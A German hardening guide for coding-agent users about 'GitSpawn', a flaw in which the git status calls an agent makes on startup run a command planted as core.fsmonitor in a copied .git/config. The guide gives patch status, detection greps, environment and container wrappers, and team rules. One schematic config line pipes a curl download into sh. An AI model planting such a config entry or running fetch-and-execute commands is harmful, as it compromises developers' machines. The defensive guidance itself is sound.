GitSpawn: Wenn git status den Angreifer startet — Härtung für Coding-Agenten

/01Was Manifold Security am 1. September veröffentlicht hat

Am 1. September 2026 hat Francisco Rosales von Manifold Security eine Fehlerklasse veröffentlicht, die er GitSpawn nennt. Der Befund: Nahezu jeder Coding-Agent auf der Kommandozeile ruft beim Start Git auf, um Kontext zu sammeln — git status --porcelain=2 --branch, git diff --name-only HEAD, git log. Diese Aufrufe laufen, bevor der Agent einen Vertrauensdialog zeigt, bevor der Nutzer sich angemeldet hat und bevor er die erste Frage tippt. Liegt im Repository eine .git/config mit dem Schlüssel core.fsmonitor, führt Git den dort eingetragenen Befehl während der Indexaktualisierung aus. Mit den Rechten des Entwicklers. Außerhalb der Sandbox, die der Agent für Werkzeugaufrufe aufspannt. Ohne Nachfrage.

Manifold dokumentiert acht Funde in sieben Produkten: Claude Code (zwei Pfade), OpenAI Codex, Cursor, Goose von Block, Qwen Code von Alibaba, Grok Build von xAI und Hermes Agent von Nous Research. Vier der acht Funde waren am Veröffentlichungstag nicht behoben. Die Cloud Security Alliance hat den Fall am 4. September 2026 in einer Research Note aufgegriffen; OpenAI hat für Codex zwei CVEs vergeben, Block für Goose eine, VulnCheck für Hermes Agent eine. Alle Meldungen gingen zwischen dem 26. Juni und dem 20. Juli 2026 an die Hersteller.

Was den Fall von anderen Agentenlücken unterscheidet: Es gibt keine Prompt Injection, kein Modell, das überredet wird, keinen Werkzeugaufruf, der freigegeben werden müsste. Das Sprachmodell ist unbeteiligt, der Assistent drumherum nicht. Der Agent tut, was ein IDE-Plugin seit zwanzig Jahren tut — er fragt Git nach dem Zustand des Arbeitsverzeichnisses — und Git tut, was es dokumentiert tut.

/02Der Mechanismus: ein Konfigurationsschlüssel, der ein Programm ist

core.fsmonitor ist eine legitime Leistungsoption. Die Git-Dokumentation beschreibt sie so: Steht der Wert auf true, startet Git seinen eingebauten Dateisystem-Monitor; andernfalls enthält der Schlüssel „den Pfadnamen des fsmonitor-Hook-Befehls", mit dem Git Dateien ermittelt, die sich seit einem Zeitpunkt geändert haben könnten — damit große Arbeitsverzeichnisse nicht bei jedem git status vollständig durchsucht werden. Ein Programmpfad in einer Konfigurationsdatei. Git liest ihn aus drei Quellen: der Systemkonfiguration, der Nutzerkonfiguration und der Repository-Konfiguration in .git/config.

Die hostile Variante ist unspektakulär:

[core]
    repositoryformatversion = 0
    filemode = true
    fsmonitor = /bin/sh -c 'curl -s https://… | sh' # (schematisch, nicht ausführen)

Der Eintrag muss das Opfer als Datei erreichen. Und hier liegt der Punkt, den viele Meldungen falsch wiedergeben: Git überträgt die lokale Konfiguration nie. Wer ein Repository klont, fetcht oder pullt, bekommt Objekte und Referenzen — .git/config wird auf dem Zielsystem frisch angelegt. Manifold schreibt wörtlich, dass Klonen einer feindlichen URL „nichts tut, und fetch oder pull ebenso wenig". Der Angriffsweg ist alles, was einen Ordner samt .git-Verzeichnis bewegt: ein Zip-Archiv im Ticket, ein Projektordner auf dem Netzlaufwerk, ein Sync-Verzeichnis aus der Cloud, ein USB-Stick vom Dienstleister, ein Backup, das jemand zurückspielt.

Dass der Agent und nicht der Entwickler das Problem ist, liegt am Zeitpunkt. Ein Mensch öffnet den Ordner, schaut hinein, liest vielleicht die README und ruft irgendwann git status auf. Der Agent ruft es als Erstes auf, automatisch, bei jedem Start, in jedem Verzeichnis, in dem er gestartet wird. Die Wahrscheinlichkeit, dass der Befehl läuft, steigt von „irgendwann" auf „sofort".

/03Patchstand je Agent — mit Datum

Die folgende Tabelle fasst zusammen, was Manifold am 1. September 2026 berichtet hat, ergänzt um die CVE-Einträge und das, was sich in den Release-Notes der Hersteller bis zum 11. Oktober 2026 nachweisen lässt. Wo keine neuere Angabe steht, haben wir keine gefunden — das heißt nicht, dass es keine gibt.

Zwei Details lohnen den Blick. Erstens: Die Codex-Korrektur (Pull Request 22652, „Ignore fsmonitor config in Git metadata reads") wurde bereits am 14. Mai 2026 zusammengeführt — Monate vor Manifolds Meldung, die OpenAI deshalb als Duplikat schloss. Wer Codex CLI aktuell hält, war vor der Veröffentlichung geschützt; wer auf 0.12x stehen geblieben ist, nicht. Zweitens: Hermes Agent hat die Lücke laut CVE-Eintrag mit einem Commit geschlossen, der nicht nur core.fsmonitor behandelt, sondern alle Git-Aufrufe des Agenten über eine Funktion noninteractive_git_env() leitet, die gefährliche Schlüssel per Umgebungsvariable neutralisiert und Diff-Aufrufe mit --no-ext-diff --no-textconv härtet. Das ist der richtige Ansatz: nicht einen Schlüssel sperren, sondern die Klasse.

Denn core.fsmonitor ist nicht der einzige Schlüssel, der ein Programm startet. core.hooksPath zeigt auf ein Verzeichnis mit Hooks, core.pager und core.editor sind Programme, credential.helper ist ein Programm, Diff-Treiber und Filter in .gitattributes sind Programme. CVE-2026-19593 für Codex Desktop lief über Git-Filter, nicht über fsmonitor. Ein Agent, der nur fsmonitor abschaltet, hat ein Loch gestopft und die Tür offen gelassen.

/04Warum safe.directory und die Sandbox nicht helfen

Zwei Einwände kommen immer. Der erste: „Git hat das 2022 mit safe.directory behoben." Der zweite: „Unser Agent läuft in einer Sandbox." Beide stimmen und beide greifen hier nicht.

safe.directory schützt vor Repositories, die einem anderen Benutzer gehören. Die Dokumentation sagt es deutlich: Git „weigert sich, die Konfiguration eines Repositories zu lesen, das jemand anderem gehört, geschweige denn seine Hooks auszuführen". Das Zip, das Sie entpacken, gehört aber Ihnen. Der Ordner vom Netzlaufwerk, den Sie kopieren, gehört Ihnen. Die Eigentümerprüfung sieht keinen Fremden, also liest Git die Konfiguration. Zudem ist safe.directory selbst Teil der geschützten Konfiguration — Git wertet ihn nur in System-, Nutzer- und Kommandozeilen-Scope aus, gerade damit ein Repository ihn nicht setzen kann. Das Konzept der „protected configuration" ist der Schlüssel zur Härtung, dazu gleich mehr.

Die Sandbox der Agenten umschließt Werkzeugaufrufe, die das Modell anfordert: Shell-Befehle, Dateischreibzugriffe, Netzwerk. Der Git-Aufruf zur Kontextsammlung ist kein Werkzeugaufruf des Modells, sondern eine Funktion des Agenten selbst — er läuft im Prozess des Agenten, mit dessen Rechten, auf dem Host. Manifold formuliert es als Kern des Befunds: Der Befehl läuft „außerhalb der Sandbox, mit den vollen lokalen Rechten des Entwicklers". Eine Sandbox, die der Agent für das Modell aufspannt, schützt nicht vor dem Agenten.

In der Praxis heißt das: Die Härtung muss dort ansetzen, wo der Agent läuft — in der Umgebung, die Sie ihm geben, und in der Git-Konfiguration, die er erbt.

/05Schritt 1 bis 3: Prüfen, bevor der Agent den Ordner sieht

Die Reihenfolge ist wichtig: Erst lesen, dann Git. Jeder Git-Befehl im fremden Ordner kann der auslösende sein — auch git config --list, denn der aktualisiert zwar nicht den Index, aber er ist ein Git-Aufruf in einem Verzeichnis mit fremder Konfiguration, und Sie wollen die Gewohnheit nicht. Lesen Sie Dateien mit Werkzeugen, die kein Git sind.

Schritt 1 — Konfiguration als Text lesen

# Im empfangenen Ordner: KEIN git-Befehl, nur cat/grep
cat empfangen/.git/config

# Ausführungs-Schlüssel in allen mitgelieferten Git-Dateien suchen
grep -rniE 'fsmonitor|hookspath|pager|editor|credential|sshcommand|askpass|textconv|\bclean\b|\bsmudge\b' \
    empfangen/.git/config empfangen/.gitattributes empfangen/.gitmodules 2>/dev/null

# Hooks und Worktrees, die mitgekommen sind
ls -la empfangen/.git/hooks/ 2>/dev/null | grep -v '\.sample$'
ls empfangen/.git/worktrees/ 2>/dev/null

Ein sauberes .git/config eines frisch geklonten Repositories hat einen Block [core] mit repositoryformatversion, filemode, bare, logallrefupdates, einen Block [remote "origin"] und je Branch einen [branch]-Block. Alles andere ist erklärungsbedürftig. Findet grep einen Treffer, öffnen Sie den Ordner nicht mit einem Agenten — Punkt. Legen Sie ihn beiseite, melden Sie ihn, und holen Sie sich den Code aus der Quelle, die ihn eigentlich hätte liefern sollen.

Schritt 2 — Nur aus Git-Remotes öffnen

Die einfachste Regel, die GitSpawn vollständig schließt: Code, an dem ein Agent arbeiten soll, kommt per git clone von einem Remote, das Sie kennen. Kein Zip, kein Netzlaufwerk, kein Sync-Ordner. Wenn ein Dienstleister Ihnen Code schickt, bitten Sie ihn, ihn in ein Repository zu pushen, auf das Sie Zugriff haben — oder legen Sie selbst eines an und importieren Sie nur den Arbeitsbaum:

# Arbeitsbaum ohne das mitgelieferte .git übernehmen
rsync -a --exclude='.git' empfangen/ sauber/
cd sauber && git init && git add -A && git commit -m "Import aus Zip vom 2026-10-16, Herkunft: <Absender>"

Die Historie geht dabei verloren. Wenn Sie sie brauchen, klonen Sie aus dem empfangenen Ordner in einen neuen — git clone empfangen/ sauber/ legt eine frische Konfiguration an und übernimmt keine Hooks. Aber auch dieser Clone liest Konfiguration aus der Quelle; Schritt 1 bleibt Pflicht.

Schritt 3 — Den Agenten fragen, was er beim Start tut

Bevor Sie einem Agenten vertrauen, beobachten Sie ihn. Starten Sie ihn in einem leeren Test-Repository und sehen Sie zu, welche Prozesse er startet:

# Prozessstarts des Agenten mitschreiben (Linux, als root oder mit CAP_SYS_PTRACE)
strace -f -e trace=execve -o /tmp/agent-start.log -- claude --version
grep -E 'execve\(.*git' /tmp/agent-start.log

# Alternativ ohne strace: ein git-Wrapper, der jeden Aufruf protokolliert
mkdir -p ~/bin-audit && cat > ~/bin-audit/git <<'EOF'
#!/bin/sh
echo "$(date +%T) git $*" >> ~/git-calls.log
exec /usr/bin/git "$@"
EOF
chmod +x ~/bin-audit/git && PATH=~/bin-audit:$PATH claude

Das Ergebnis sagt Ihnen zweierlei: welche Git-Befehle der Agent ungefragt ausführt und ob er sie bereits mit -c core.fsmonitor=false oder ähnlichen Schutzparametern aufruft. Ein Agent, dessen Protokoll git -c core.fsmonitor=false -c core.hooksPath=/dev/null status zeigt, hat seine Hausaufgaben gemacht. Einer, der git status --porcelain=2 --branch ohne Parameter ruft, nicht.

/06Schritt 4 bis 6: Agenten ohne Secrets, Git ohne Repository-Konfiguration

Schritt 4 — Git per Umgebung zwingen

Git kennt eine Konfigurationsquelle, die über allen Dateien steht und die kein Repository überschreiben kann: die Umgebungsvariablen GIT_CONFIG_COUNT, GIT_CONFIG_KEY_n und GIT_CONFIG_VALUE_n. Die Dokumentation: „Diese Umgebungsvariablen überschreiben Werte in Konfigurationsdateien." Sie zählen zum Kommandozeilen-Scope und damit zur geschützten Konfiguration. Wer den Agenten mit diesen Variablen startet, zwingt jeden Git-Aufruf des Agenten — auch die, die er selbst nicht härtet — auf sichere Werte:

# ~/.local/bin/agent-safe — Start-Wrapper für Coding-Agenten
#!/bin/sh
export GIT_CONFIG_COUNT=5
export GIT_CONFIG_KEY_0=core.fsmonitor      GIT_CONFIG_VALUE_0=false
export GIT_CONFIG_KEY_1=core.hooksPath      GIT_CONFIG_VALUE_1=/dev/null
export GIT_CONFIG_KEY_2=core.pager          GIT_CONFIG_VALUE_2=cat
export GIT_CONFIG_KEY_3=credential.helper   GIT_CONFIG_VALUE_3=
export GIT_CONFIG_KEY_4=core.sshCommand     GIT_CONFIG_VALUE_4=ssh
export GIT_TERMINAL_PROMPT=0
exec "$@"

# Aufruf
agent-safe claude
agent-safe codex
agent-safe goose session

Prüfen Sie die Wirkung im fremden Ordner — jetzt dürfen Sie Git aufrufen, weil die Umgebung den Schlüssel überschreibt:

$ cd empfangen && agent-safe git config --show-origin --show-scope core.fsmonitor
command  command line:   false
$ agent-safe git config --show-origin --show-scope --get-all core.fsmonitor
file:.git/config  local   /bin/sh -c '…'
command           command false

Die zweite Ausgabe zeigt beide Werte: den feindlichen aus der Datei und den Ihren aus der Umgebung, der gewinnt. Diff-Treiber und Filter aus .gitattributes deckt das nicht ab; dafür gehört --no-ext-diff --no-textconv an Diff-Aufrufe, und filter.*.clean und filter.*.smudge sollten Sie in Schritt 1 gefunden haben.

Schritt 5 — Agent in einer Umgebung ohne Zugangsdaten

Wenn der Befehl trotzdem läuft, soll er nichts finden. Ein Coding-Agent braucht für die meisten Aufgaben keinen SSH-Schlüssel, kein Cloud-Token und keinen Zugriff auf ~/.aws, ~/.kube oder den Passwortmanager. Starten Sie ihn in einem Container, der nur das Projekt sieht:

docker run --rm -it \
  --user "$(id -u):$(id -g)" \
  --read-only --tmpfs /tmp \
  --cap-drop ALL --security-opt no-new-privileges \
  --network none \
  -v "$PWD":/work:rw -w /work \
  -e GIT_CONFIG_COUNT=2 \
  -e GIT_CONFIG_KEY_0=core.fsmonitor -e GIT_CONFIG_VALUE_0=false \
  -e GIT_CONFIG_KEY_1=core.hooksPath -e GIT_CONFIG_VALUE_1=/dev/null \
  registry.intern/coding-agent:2026-10

--network none ist für einen Agenten, der ein lokales Modell über den Host erreichen muss — etwa einen vLLM- oder Ollama-Endpunkt —, zu hart; dann ersetzen Sie es durch ein Netz, in dem nur der Modellendpunkt erreichbar ist. Entscheidend ist, was nicht gemountet ist: kein Home-Verzeichnis, kein SSH-Agent-Socket, kein Docker-Socket. Ein Agent, der im eigenen Rack gegen ein lokales Modell arbeitet, braucht nach außen ohnehin nichts — das ist der Punkt, an dem On-Premise-Betrieb die Angriffsfläche tatsächlich verkleinert. Wie sich Sandboxes für Agenten abstufen — Container, gVisor, Firecracker — steht in Agenten-Sandboxing 2026.

Schritt 6 — Agenten aktuell halten und die Version kennen

Die Tabelle in Abschnitt /03 nützt nur, wenn Sie wissen, welche Version läuft. claude --version, codex --version, goose --version, cursor --version gehören in das Inventar wie Browser- und Betriebssystemstände. Für Qwen Code, Grok Build und den zweiten Claude-Code-Pfad gibt es nach dem, was wir an Primärquellen finden konnten, keinen belegten Korrekturstand — dort tragen Schritt 4 und 5 die Last allein.

/07Entwicklerregel: Was ins Team-Wiki gehört

Technik ohne Regel verfällt. Fünf Sätze, die in jedes Entwickler-Onboarding gehören und die ein Administrator ohne Diskussion durchsetzen kann:

1. Agenten öffnen nur geklonte Repositories. Zip, Netzlaufwerk, Sync-Ordner und USB sind Herkunftsorte für Dateien, nicht für Repositories. Wer Code so bekommt, importiert den Arbeitsbaum (Schritt 2) oder lässt ihn pushen.
2. Vor dem ersten Git-Befehl in fremdem Code: cat .git/config. Ein Treffer bei fsmonitor, hooksPath, pager, editor, credential, Filtern oder Diff-Treibern beendet den Vorgang und geht an die IT.
3. Agenten starten über den Wrapper. agent-safe oder der Container aus Schritt 5 ist der einzige unterstützte Startweg. Der nackte Aufruf wird per Shell-Alias umgebogen.
4. Agenten sehen keine Zugangsdaten. Kein SSH-Schlüssel, kein API-Token, kein Passwortmanager im Agenten-Kontext. Was der Agent pushen soll, pusht der Mensch — oder ein Deploy-Schlüssel mit Schreibrecht auf genau ein Repository.
5. Versionen stehen im Inventar. Agentenversionen werden wie Browserversionen erfasst; ein Agent mit bekannter offener Lücke läuft nur im Container.

Die Regel 1 ist die wirksamste und die unbeliebteste. Sie kostet Komfort in genau den Momenten, in denen jemand „mal eben" einen Ordner vom Kunden bekommt. Ehrlich: Genau diese Momente sind der Angriffsweg. Ein Angreifer, der GitSpawn nutzen will, schickt kein Repository-Link, er schickt ein Zip mit einer plausiblen Geschichte.

/08Grenzen: Was die Härtung nicht abdeckt

Die GIT_CONFIG-Variablen schützen nur Prozesse, die sie erben. Ein Agent, der Git über einen Dienst, einen Language-Server oder eine IDE-Erweiterung aufruft, die unabhängig gestartet wurde, erbt die Umgebung des Wrappers nicht. Prüfen Sie mit dem Wrapper aus Schritt 3, welche Prozesse Git tatsächlich aufrufen.

Die Prüfliste in Schritt 1 ist eine Momentaufnahme. Git bekommt neue Schlüssel, Agenten neue Aufrufpfade. Der zweite Claude-Code-Fund lief nicht über fsmonitor, sondern über eine andere Einstellung; Codex Desktop über Filter. Die Liste der zu suchenden Schlüssel wächst mit jedem Release; eine Härtung, die vor einem Jahr vollständig war, ist es heute nicht mehr.

Der Container schützt die Workstation, nicht das Projekt. Ein Befehl, der im Container läuft, kann den Arbeitsbaum verändern — Hintertüren in den Code schreiben, Abhängigkeiten tauschen, Tests manipulieren. Code-Review durch einen Menschen vor dem Merge (Human-in-the-Loop) bleibt Pflicht, und zwar für alles, was der Agent angefasst hat, nicht nur für das, was er sichtbar geändert hat.

Und die Regel „nur aus Remotes" hat einen blinden Fleck: Submodule und Worktrees. Ein geklontes Repository kann auf Submodule zeigen, deren Konfiguration Sie nicht geprüft haben; Git behandelt Submodul-Konfiguration ebenfalls restriktiv, aber „restriktiv" ist nicht „unmöglich". Wer Submodule nutzt, nimmt sie in Schritt 1 auf.

Keine dieser Grenzen spricht gegen die Härtung. Sie sprechen dagegen, nach der Härtung aufzuhören zu prüfen. Ein Agent mit Werkzeugzugriff auf Ihre Codebasis ist ein privilegierter Prozess, und privilegierte Prozesse bekommen Inventar, Updates und ein Protokoll — dieselbe Behandlung wie ein Build-Server.

/09Entscheidung: Für wen der Aufwand lohnt

Für jedes Team, das Code von außen bekommt — Agenturen, Dienstleister, Kunden mit eigenem Entwicklungsteam, Open-Source-Beiträge als Archiv — ist die Härtung keine Option, sondern die Mindestbedingung für den Einsatz von Coding-Agenten. Der Aufwand: ein Wrapper-Skript (eine Stunde), ein Container-Image (ein halber Tag), fünf Regeln im Wiki (eine Stunde) und ein Inventar der Agentenversionen (laufend). Der Schaden, den ein einziger Befehl mit Entwicklerrechten auf einer Workstation mit SSH-Schlüsseln anrichtet, übersteigt das um Größenordnungen.

Für Teams, die ausschließlich in eigenen Repositories arbeiten und deren Agenten auf dem aktuellen Stand sind, reichen Schritt 4 und Schritt 6: der Wrapper und das Inventar. Der Container lohnt sich trotzdem, aber aus anderen Gründen — er trennt den Agenten von Zugangsdaten, und das schützt gegen die nächste Fehlerklasse, die nicht über Git kommt, sondern über ein Werkzeug, eine MCP-Anbindung oder eine Injektion in einer Datei, die der Agent liest.

Für Einzelentwickler ohne externe Code-Zuflüsse ist GitSpawn ein Grund, den Agenten zu aktualisieren, und sonst wenig. Die Regel „nur aus Remotes" gilt trotzdem, weil sie nichts kostet.

Was wir nicht empfehlen: Coding-Agenten wegen GitSpawn abzuschalten. Die Produktivitätsfrage ist entschieden, die Werkzeuge bleiben. Die Lücke war in vier von sieben Produkten innerhalb weniger Wochen geschlossen, und die Härtung in diesem Artikel wirkt unabhängig vom Hersteller. Wer heute ein lokales Modell wie Qwen3.8-27B für Agentic Coding betreibt oder einen Coding-Assistenten on-premise aufbaut, hat ohnehin die Umgebung in der Hand — und sollte sie so bauen, dass ein Konfigurationsschlüssel in einem Zip nichts zu starten findet.